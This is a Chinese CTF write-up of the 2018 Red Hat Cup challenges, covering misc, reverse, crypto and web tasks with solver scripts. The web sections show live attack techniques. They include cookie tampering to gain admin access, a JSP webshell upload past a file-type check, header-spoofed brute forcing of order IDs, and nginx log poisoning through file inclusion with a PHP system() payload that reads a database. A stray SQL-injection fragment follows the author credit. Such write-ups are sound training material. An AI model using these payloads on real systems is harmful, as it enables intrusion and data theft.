前言
比赛入口地址:https://race.ichunqiu.com/2018redhat
这次比赛共 413 支队伍签到,我们解出 10 道题,排名第 16
题目质量还行,有些题目出得挺好,有些题目某些点设计有点问题
0x00 Misc - 签到题
题目:进入q群 218891597,某个管理员的群名片有点特别哦~
Flag: flag{redhat_welcome}
0x01 Misc - Not Only Wireshark
题目给出一个流量包,用 Wireshark
分析,看到流量包末尾的一堆 HTTP
请求,请求 URL 里面有一串奇怪的 16 进制字符串。
根据题目提示,用 tshark
读取并截取字符串首尾相连,以 16进制 方式写入到文件 tshark.bin
。
tshark -r Not Only Wireshark.pcapng | grep /sqli/example2.php?name= | awk '{print $9}'| cut -c 25-30 | sed ':t;N;s/n//;b t' | xargs python -c "import sys;open('tshark.bin','wb').write(('0' + sys.argv[1]).decode('hex'))"
观察 tshark.bin
文件 16 进制,发现有 50 4B
,猜测文件是 zip 压缩包文件,修改文件头部 01 23 40 4B
为 50 4B
即可使用压缩软件打开。
压缩包里有一个 flag
文件,需要密码才能解压。
解压密码在流量包里可以找到,搜索关键词 key
。
Flag: flag{1m_s0_ang4y_1s}
0x02 Reverse - icm
逆向 IDEA 算法
提取验证用到的数据 byte_203040
,写个脚本异或处理一下,得到 IDEA 加密后的数据
enc = [0xD0, 0xE0, 0xAB, 0x9C, 0xCD, 0x78, 0x5B, 0x54, 0x3D, 0xE4, 0xEA, 0x33, 0x51, 0x44, 0x6D, 0x3C, 0x4E, 0xCE, 0xDF, 0xB5, 0x41, 0x00, 0x1C, 0xEC, 0xE3, 0x1B, 0xC3, 0x8C, 0x91, 0x25, 0x7F, 0x1B, 0x60, 0xFE, 0x35, 0x9C, 0xEA, 0x04, 0x4C, 0x87, 0x8D, 0x97, 0x93, 0x5C, 0xB8, 0x9A, 0x70, 0x75]
for i in range(len(enc)):
enc[i] = hex((119 - i) ^ enc[i] ^ (8 - i % 8))
dec = []
for i in range(len(enc)/8):
char = '0x'
for j in range(8):
tmp = enc[i*8+j][2:]
if len(tmp) == 1: tmp = '0' + tmp
char += tmp
dec.append(char)
print dec
# Output: ['0xaf91d8edba092825', '0x5a8d815a3e2d0655', '0x21afbcd426617f8d', '0xb44298d5ce7c2442', '0x3faf66cdbd551fd6', '0xcaded815f7d33b3c']
在这个地方下断点,从 &unk_203090
处可以得到 IDEA 解密密钥。
网上找个 IDEA 解密脚本,修改一下就能解密得到明文(这里省略 IDEA.h
和 IDEA.c
文件)。
#include <stdio.h>
#include <string.h>
#include "IDEA.h"
int main(int argc, char **argv)
{
uint16_t key[8] = {0x18FE, 0x9C97, 0x0A72, 0x96F5, 0xC2FD, 0xEEAE, 0x1475, 0x92AA};
uint64_t plaintext[16];
uint64_t ciphertext[16] = {0xaf91d8edba092825, 0x5a8d815a3e2d0655, 0x21afbcd426617f8d, 0xb44298d5ce7c2442, 0x3faf66cdbd551fd6, 0xcaded815f7d33b3c};
for (int i = 0; i < 6; i++) {
idea_decrypt(ciphertext[i], key, &(plaintext[i]));
printf("%016llx", plaintext[i]);
}
printf("n");
return 0;
}
// Output: 666c61677b66353366633164622d623764332d343634332d396234382d3732356631333132396430377ddddddddddddd
Flag: flag{f53fc1db-b7d3-4643-9b48-725f13129d07}
0x03 Crypto - 3dlight
这题是一个类似点亮方块游戏的算法,直接贴解密脚本吧,我是想了一会儿才把脚本写出来的,而且代码写的比较辣鸡,凑合着看吧。
import random
import copy
enc_flag = '0304040201040502040403030103060403040101010406020405040201030402030503040505050202020205050303020301020203040402010204050303010003030303020505020202030302030605040303010205050304070401010204020306030204050402030506050403030103040404030604010204060503040301030203030505030102020405050403040404040206050201050303020504010104040301040504000406040404040201030304040506040101030404030605030303030203060502020506040707050406060604070703010604050406070501040303040507040105040403050604000504050405060300010404020306040202040201020505020303020206070301050602010607030005040203050704010202020405060501040202020306050103060502030403010303050304050300040402000203040304050201050604010305020307080301010202040706040102000105060505040303010203050602040305050503030103040404070501000504020203030202040604020406040103050605070703000103040406060301030102020504050505020100030507030203030204050503040404040505030103030203050403020404040303060402030605040506030002040502040503020203040203030403040505010205050202040502020506020103050303050401'
def check(x, y, z):
if x < 0 or x > 7 or y < 0 or y > 7 or z < 0 or z > 7:
return False
return True
def dec(ret, i, j, k):
ret[i][j][k] -= 2
if ret[i][j][k] < 0: return False
if check(i, j, k - 1):
ret[i][j][k - 1] -= 1
if ret[i][j][k - 1] < 0: return False
if check(i, j - 1, k):
ret[i][j - 1][k] -= 1
if ret[i][j - 1][k] < 0: return False
if check(i - 1, j, k):
ret[i - 1][j][k] -= 1
if ret[i - 1][j][k] < 0: return False
if check(i, j, k + 1):
ret[i][j][k + 1] -= 1
if ret[i][j][k + 1] < 0: return False
if check(i, j + 1, k):
ret[i][j + 1][k] -= 1
if ret[i][j + 1][k] < 0: return False
if check(i + 1, j, k):
ret[i + 1][j][k] -= 1
if ret[i + 1][j][k] < 0: return False
return True
enc_flag = enc_flag.decode('hex')
ret = [[[0 for _ in xrange(8)] for _ in xrange(8)] for _ in xrange(8)]
for i in xrange(8):
for j in xrange(8):
for k in xrange(8):
ret[i][j][k] = ord(enc_flag[i*8*8+j*8+k])
lights = [[[0 for _ in xrange(8)] for _ in xrange(8)] for _ in xrange(8)]
origin_ret = copy.deepcopy(ret)
tret = copy.deepcopy(ret)
for i in xrange(8):
for j in xrange(8):
for k in xrange(8):
if ret[i][j][k] == 0:
lights[i][j][k] = 0
if ret[i][j][k] == 8:
nret = copy.deepcopy(tret)
if dec(nret, i, j, k):
lights[i][j][k] = 1
tret = copy.deepcopy(nret)
if ret[i][j][k] == 7:
nret = copy.deepcopy(tret)
if dec(nret, i, j, k):
lights[i][j][k] = 1
tret = copy.deepcopy(nret)
ret = copy.deepcopy(tret)
def decrypt(ret, lights, ia):
tret = copy.deepcopy(ret)
for i in xrange(8):
for j in xrange(8):
for k in xrange(8):
if ret[i][j][k] == 1:
if lights[i][j][k] != 1: lights[i][j][k] = 0
maa = 0
mai = -1
if check(i, j, k - 1) and tret[i][j][k - 1] >= ia:
nret = copy.deepcopy(tret)
if dec(nret, i, j, k - 1):
if mai != -1: continue
if tret[i][j][k - 1] > maa:
maa = ret[i][j][k - 1]
mai = 0
if check(i, j - 1, k) and tret[i][j - 1][k] >= ia:
nret = copy.deepcopy(tret)
if dec(nret, i, j - 1, k):
if mai != -1: continue
if tret[i][j - 1][k] > maa:
maa = ret[i][j - 1][k]
mai = 1
if check(i - 1, j, k) and tret[i - 1][j][k] >= ia:
nret = copy.deepcopy(tret)
if dec(nret, i - 1, j, k):
if mai != -1: continue
if tret[i - 1][j][k] > maa:
maa = ret[i - 1][j][k]
mai = 2
if check(i, j, k + 1) and tret[i][j][k + 1] >= ia:
nret = copy.deepcopy(tret)
if dec(nret, i, j, k + 1):
if mai != -1: continue
if tret[i][j][k + 1] > maa:
maa = ret[i][j][k + 1]
mai = 3
if check(i, j + 1, k) and tret[i][j + 1][k] >= ia:
nret = copy.deepcopy(tret)
if dec(nret, i, j + 1, k):
if mai != -1: continue
if tret[i][j + 1][k] > maa:
maa = ret[i][j + 1][k]
mai = 4
if check(i + 1, j, k) and tret[i + 1][j][k] >= ia:
nret = copy.deepcopy(tret)
if dec(nret, i + 1, j, k):
if mai != -1: continue
if tret[i + 1][j][k] > maa:
maa = ret[i + 1][j][k]
mai = 5
if mai == 0:
nret = copy.deepcopy(tret)
if dec(nret, i, j, k - 1):
lights[i][j][k - 1] = 1
tret = copy.deepcopy(nret)
if mai == 1:
nret = copy.deepcopy(tret)
if dec(nret, i, j - 1, k):
lights[i][j - 1][k] = 1
tret = copy.deepcopy(nret)
if mai == 2:
nret = copy.deepcopy(tret)
if dec(nret, i - 1, j, k):
lights[i - 1][j][k] = 1
tret = copy.deepcopy(nret)
if mai == 3:
nret = copy.deepcopy(tret)
if dec(nret, i, j, k + 1):
lights[i][j][k + 1] = 1
tret = copy.deepcopy(nret)
if mai == 4:
nret = copy.deepcopy(tret)
if dec(nret, i, j + 1, k):
lights[i][j + 1][k] = 1
tret = copy.deepcopy(nret)
if mai == 5:
nret = copy.deepcopy(tret)
if dec(nret, i + 1, j, k):
lights[i + 1][j][k] = 1
tret = copy.deepcopy(nret)
return copy.deepcopy(tret)
def dec_(ret, lights, i, j, k):
dec(ret, i, j, k)
lights[i][j][k] = 1
print origin_ret
for i in range(64):
ret = decrypt(ret, lights, 2)
print ret
print lights
flag = ''
for i in xrange(8):
for j in xrange(8):
tmp = 0
for k in xrange(8):
tmp = tmp >> 1
tmp += lights[i][j][k] * 0b10000000
flag += chr(tmp)
flag = ''.join(flag[0::2][i] + flag[-1::-2][i] for i in xrange(32))
print flag[:38]
Flag: flag{fafe7bab4ee995a2883b67bec70ed398}
0x04 Web - simple upload
随便登录一下, Response Cookie
里有 admin=0
。
admin=0
修改 admin=1
,然后登录一下,就进去了。
上传一个 jsp
文件,发现只允许上传 jpg / png
文件。
用 BurpSuite
修改上传文件类型,即可上传 jsp
文件,结合 Cknife
菜刀即可 Get Shell
。
Flag 存放在 /flag
:
Flag: flag{15a5003c-dc34-404f-9293-2d57c9d7236f}
0x05 Misc - 听说你们喜欢手工爆破
题目给出一个 iso 文件,直接挂载,里面有 500 个 txt 文件,一个压缩包文件 情系海边之城.rar
,压缩包需要密码才能解压。
解压密码为: 0328fc8b43cb2ddf89ba69fa5e6dbc05
(500 个 txt 文件中,其中之一个文件的文件名。噗~)
解压得到一个 doc 文件,需要密码才能打开,用 ARCHPR
爆破,得到弱口令: 5693
网上搜索这篇文章,得知这篇文章叫《海边的曼彻斯特》,根据提示得知这是 曼彻斯特编码: 123654AAA678876303555111AAA77611A321
网上找个解密脚本,改一下:
n = 0x123654AAA678876303555111AAA77611A321
flag = ''
bs = '0' + bin(n)[2:]
r = ''
def conv(s):
return hex(int(s, 2))[2:]
for i in range(0, len(bs), 2):
if bs[i:i+2] == '01':
r += '0'
else:
r += '1'
for i in range(0, len(r), 8):
tmp = r[i:i+8][::-1]
flag += conv(tmp[:4])
flag += conv(tmp[4:])
print 'flag{%s}' % flag.upper()
# Output: flag{5EFCF5F507AA5FAD77}
Flag: flag{5EFCF5F507AA5FAD77}
0x06 Web - shopping log
题目给了两个提示:不需要注入;订单号从 0000 开始试可能不是一个明智的选择。
环境坏了,没办法复现。直接说一下吧,加上这个 header
就好了,就能绕过三层检测。
Host: www.tmvb.com
Referer: www.dww.com
Accept-Language: ja
三层过后,得到的关键页面 URL: /5a560e50e61b552d34480017c7877467info.php
这是一个订单查询系统,根据题目提示,不需要注入,猜测只需要遍历订单号即可得到 Flag。
查询表单有 MD5 验证,那么我们可以提前生成 MD5 彩虹表。贴一下代码(大概需要 1GB 内存存放彩虹表):
import requests
import string
import hashlib
url = 'http://120.132.95.234/%s'
headers = {'Host': 'www.tmvb.com', 'Accept-Language': 'ja', 'Referer': 'www.dww.com'}
s = requests.session()
md5_table = {}
target = (256 ** 3) / 2
i = 0
print 'Preparing md5 rainbow table...'
while True:
md5_table[hashlib.md5(str(i)).hexdigest()[:6]] = str(i)
i += 1
if len(md5_table) >= target: break
if len(md5_table) % 100000 == 0: print str(len(md5_table)) + ' / ' + str(target)
print str(len(md5_table)) + ' / ' + str(target)
# 9588
for i in range(9500, 10000):
code = ''
while True:
r = s.get(url % '5a560e50e61b552d34480017c7877467info.php', headers=headers)
r.encoding = 'utf-8'
code = r.text.split("=== '")[1].split("'")[0]
if code in md5_table: break
payload = {'TxtTid': i, 'code': md5_table
}
r = s.post(url % 'api.php?action=report', headers=headers, data=payload)
r.encoding = 'utf-8'
print 'TxtTid=%d: %s' % (i, r.text)
if "There's no such order." not in r.text: break
Flag: flag{hong_mao_ctf_hajimaruyo}
0x07 Reverse - wcm
逆向 SM4 算法
提取验证用到的数据 byte_402140
。
在这个地方下断点,从 byte_93370
处可以得到 SM4 解密密钥。
网上找个 SM4 解密脚本,修改一下就能解密得到明文。
SboxTable = [
[0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05],
[0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99],
[0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62],
[0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6],
[0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8],
[0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35],
[0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87],
[0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e],
[0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1],
[0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3],
[0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f],
[0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51],
[0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8],
[0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0],
[0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84],
[0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48]
]
FK = [0xa3b1bac6, 0x56AA3350, 0x677d9197, 0xb27022dc]
CK =[
0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]
def leftshift(a, n, size=32):
n = n % size
return (a << n) | (a >> (size - n))
def PUT_ULONG_BE(b):
b = sm4Sbox(b)
return b ^ (leftshift(b, 13)) ^ (leftshift(b, 23))
def GET_ULONG_BE(b):
b = sm4Sbox(b)
return b ^ (leftshift(b, 2)) ^ (leftshift(b, 10)) ^ (leftshift(b, 18)) ^ (leftshift(b, 24))
def sm4Sbox(a):
b1 = SboxTable[(a & 0xf0000000) >> 28][(a & 0x0f000000) >> 24]
b2 = SboxTable[(a & 0x00f00000) >> 20][(a & 0x000f0000) >> 16]
b3 = SboxTable[(a & 0x0000f000) >> 12][(a & 0x00000f00) >> 8]
b4 = SboxTable[(a & 0x000000f0) >> 4][(a & 0x0000000f) >> 0]
return (b1 << 24) | (b2 << 16) | (b3 << 8) | (b4 << 0)
def generate_key(MK):
K = [0] *36
rk = [0] *32
K[0] = MK[0] ^ FK[0]
K[1] = MK[1] ^ FK[1]
K[2] = MK[2] ^ FK[2]
K[3] = MK[3] ^ FK[3]
for i in xrange(32):
K[i+4] = K[i] ^ PUT_ULONG_BE(K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i])
rk[i] = K[i+4]
return rk
def sm4_encrypt(message, key, method='cbc'):
MK = key
X = message + [0]*32
rk = generate_key(MK)
for i in xrange(32):
X[i+4] = X[i] ^ GET_ULONG_BE(X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i])
Y = [X[35], X[34], X[33], X[32]]
return Y
def sm4_decrypt(crphertext, key, method='cbc'):
MK = key
X = crphertext + [0]*32
rk = generate_key(MK)
rk.reverse()
for i in xrange(32):
X[i+4] = X[i] ^ GET_ULONG_BE(X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i])
Y = [X[35], X[34], X[33], X[32]]
return Y
if __name__ == '__main__':
enc = [0xF4, 0x88, 0x91, 0xC2, 0x9B, 0x20, 0x5B, 0x03, 0xF1, 0xED, 0xF6, 0x13, 0x46, 0x3C, 0x55, 0x81, 0x61, 0x0F, 0xFF, 0x14, 0x6E, 0x1C, 0x48, 0x28, 0x79, 0x9F, 0x85, 0xAF, 0xC5, 0x58, 0x0D, 0xD6, 0xA5, 0xD9, 0x64, 0xFD, 0x46, 0x09, 0x8C, 0xDF, 0x3B, 0xA5, 0x37, 0x62, 0x5A, 0xA6, 0xD2, 0x4B]
dec = []
for i in range(len(enc)):
enc[i] = hex((51 + i) ^ enc[i])
for i in range(len(enc)/4):
char = ''
for j in range(4):
tmp = enc[i*4+j][2:]
if len(tmp) == 1: tmp = '0' + tmp
char += tmp
dec.append(int(char, 16))
key = [0xDA98F1DA,0x312AB753,0xA5703A0B,0xFD290DD6]
msg1 = sm4_decrypt(dec[0:4], key)
msg2 = sm4_decrypt(dec[4:8], key)
msg3 = sm4_decrypt(dec[8:12], key)
flag = ''
for i in range(len(msg1)):flag += hex(msg1[i] & 0xFFFFFFFF)[2:-1].decode('hex')
for i in range(len(msg2)):flag += hex(msg2[i] & 0xFFFFFFFF)[2:-1].decode('hex')
for i in range(len(msg3)):flag += hex(msg3[i] & 0xFFFFFFFF)[2:-1].decode('hex')
print flag
# Output: flag{e4435341-401a-4bc4-96c1-eadf1951d904}
Flag: flag{e4435341-401a-4bc4-96c1-eadf1951d904}
0x08 Misc - 这是道web题?
下载得到一套 CMS 的源代码,除了源代码文件,里面还有各种文件。
搜索 .pcapng
文件,发现 78466550-3fc1-11e8-9828-32001505e920.pcapng
文件大小最大,从这个流量包里可以提取出一个文件。
文件 - 导出对象 - HTTP
这个文件手动分离一下,可以得到一个 jpg 文件,一个 gif 文件。
gif 文件里有这种编码,这是 Native/Unicode
编码。
flag{S022y4orr5}
解码一下即可得到 Flag。
Flag: flag{S022y4orr5}
0x09 Web - biubiubiu
这题用了非预期解法,预期解法是:SSRF + GOPHER 漏洞。
观察 URL 大概可知 本地文件包含 漏洞。
观察源代码可下载 SQL 文件,得到数据库结构,猜测 Flag 在数据库里。
随便输入 邮箱 和 密码,就能登录进去。登录进去后,看到一个很明显的 SSRF。
提交这个过去:http://******.game.ichunqiu.com/<?php phpinfo(); ?>
然后访问 /index.php?page=/var/log/nginx/access.log
,就能看到刚刚提交的命令已经写到日志,并且被成功 include
包含进去,被执行了。
直接贴上 Payload,打开数据库读取 Flag。
http://******.game.ichunqiu.com/<?php system(base64_decode('bXlzcWwgLXVEb2cgdXNlcl9hZG1pbiAtZSAic2VsZWN0ICogZnJvbSBhZG1pbiBsaW1pdCAxOyI=')); ?>
Flag: flag{dbc98dd7-90fb-44f4-8dbe-35a72f07ec9d}
Source: impakho.com | Author:impakho
源码:同样未做过滤,但此处的变量id无引号。大概是直接将变量id当做整形传入查询。?id=12 显示id为12的用户?id=12a 报错:Unknown column ’12a’ in ‘where clause’…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论